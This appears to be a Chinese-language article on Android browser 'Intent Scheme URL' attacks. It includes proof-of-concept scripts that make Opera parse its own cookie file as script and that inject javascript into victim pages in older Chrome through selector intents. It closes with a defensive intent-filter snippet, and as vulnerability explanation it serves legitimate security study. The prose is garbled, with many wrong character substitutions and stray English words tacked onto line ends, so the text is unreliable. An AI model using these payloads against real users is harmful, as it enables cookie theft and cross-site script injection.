咱们知道,在Android上的Intent-based攻击很是广泛。这样的攻击轻则致使应用程序崩溃。重则可能演变提权漏洞。固然,经过静态特征匹配,Intent-Based的恶意样本仍是很是easy被识别出来的。javascript
然而近期出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这样的攻击方式利用了浏览器保护措施的不足,经过浏览器做为桥梁间接实现Intend-Based攻击。html
相比于普通Intend-Based攻击,这样的方式极具隐蔽性,而且由于恶意代码隐藏WebPage中。传统的特征匹配全然不起做用。除此以外,这样的攻击还能直接訪问跟浏览器自身的组件(无论是公开仍是私有)和私有文件,比方cookie文件。进而致使用户机密信息的泄露。java
看一下Intent Scheme URL的使用方法。android
<script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>
从使用方法上看,仍是很是好理解的,这里的代码等价于例如如下Java代码:web
Intent intent = new Intent(“myaction”); intent.setData(Uri.parse(“mydata”)); intent.setType(“text/plain”);
再看一个样例:chrome
intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end
上面的语句,等价于例如如下Java代码:浏览器
Intent intent = new Intent(“myaction”); intent.setData(Uri.pase(“//foobar/”)); intent.putExtra(“xyz”, “123”); intent.putExtra(“abc”, 678);
当中S表明String类型的key-value,i表明int类型的key-value。安全
源代码中提供了Intent.parseUri(String uri)静态方法,经过这种方法可以直接解析uri,假设想更一步了解当中的语法,可以查看官方源代码。cookie
假设浏览器支持Intent Scheme URI语法。一般会分三个步骤进行处理:app
当中步骤2起关键做用,过滤规则缺失或者存在缺陷都会致使Intent Schem URL攻击。
如下是各大浏览器对Intent scheme URL的支持状况
可见,除了Firefox外其它的浏览器都支持Intent Scheme URL语法。
Opera上的intent过滤策略是全然缺失的,所以咱们可以轻易调用Opera上的私有activity。比方如下这个攻击演示样例:
<script> location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”; </script>
经过上面的脚本,咱们可以直接调起AdMarvelActivity。AdMarvelActvity会从intent中获取url。并以HTML/JavaScript的方式解析cookies文件。
试想一下,假设咱们预先构造一个恶意站点,并让用户经过浏览器訪问。
这时在恶意见面中,存在例如如下脚本:
<script> document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”; location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”; </script>
当AdMarvelActivity解析cookies文件时,就会运行playload。
Chrome的UXSS漏洞利用相对复杂。介绍以前。咱们需要先了解一下关于Intent Selector的使用方法。详情见。简而言之。Intent Selector机制提供一种main intent不匹配的状况下可以设置替补的方案。
比方A是main intent, B是A的selector intent,当startActiviy时,系统发现A没法匹配则会尝试用B去匹配。
Chrome相比于Opera,在intent过滤的步骤中加入了安全策略。代码例如如下:
Intent intent = Intent.parseUri(uri); intent.addCategory(“android.intent.category.BROWSABLE”); intent.setComponent(null); context.startActivityIfNeeded(intent, -1);
从代码中。可以看到Chrome为了防护Intent Based攻击,作了很多限制。比方把category强置为”android.intent.category.BROWSABLE”,把component强置为null,相对以后比Opera强多了。然而。Chrome忽略了Intent Selector的使用方法,比方如下的使用方法:
intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end
留意当中的keyword“SEL”,事实上就是设置了一个component为com.android.chrome/.xyz的 selector intent,这样的使用方法致使chrome的防护措施形同虚设。最后看一下Chrome UXSS的PoC:
<script> //经过WebAppActivity0咱们先打开一个攻击的网站 location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end"; // 停留2s或者更长时间, 而后注入javascript payload setTimeout(function() { location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end"; }, 2000); </script>
这里的关键点是WebappActivity0对new intent的处理方式上。
第一次打开网站。并完毕载入。
第二次则是直接把javascript payload注入到目标网页。这个漏洞存在于在所有低于v.30.0.1599.92的chrome版本号。而新版本号改动WebappActivity对new intent的处理方式,会建立new tab,这样就避免了javascript inject。
然而在新版中,依旧没有屏避intent selector的使用。所以依旧存在Chrome的私有组件和文件被读取的安全隐患。
经过上两个漏洞的描写叙述,咱们总结得出一种相对照较安全的Intent Filter方法,代码例如如下:
// convert intent scheme URL to intent object Intent intent = Intent.parseUri(uri); // forbid launching activities without BROWSABLE category intent.addCategory("android.intent.category.BROWSABLE"); // forbid explicit call intent.setComponent(null); // forbid intent with selector intent intent.setSelector(null); // start the activity by the intent context.startActivityIfNeeded(intent, -1);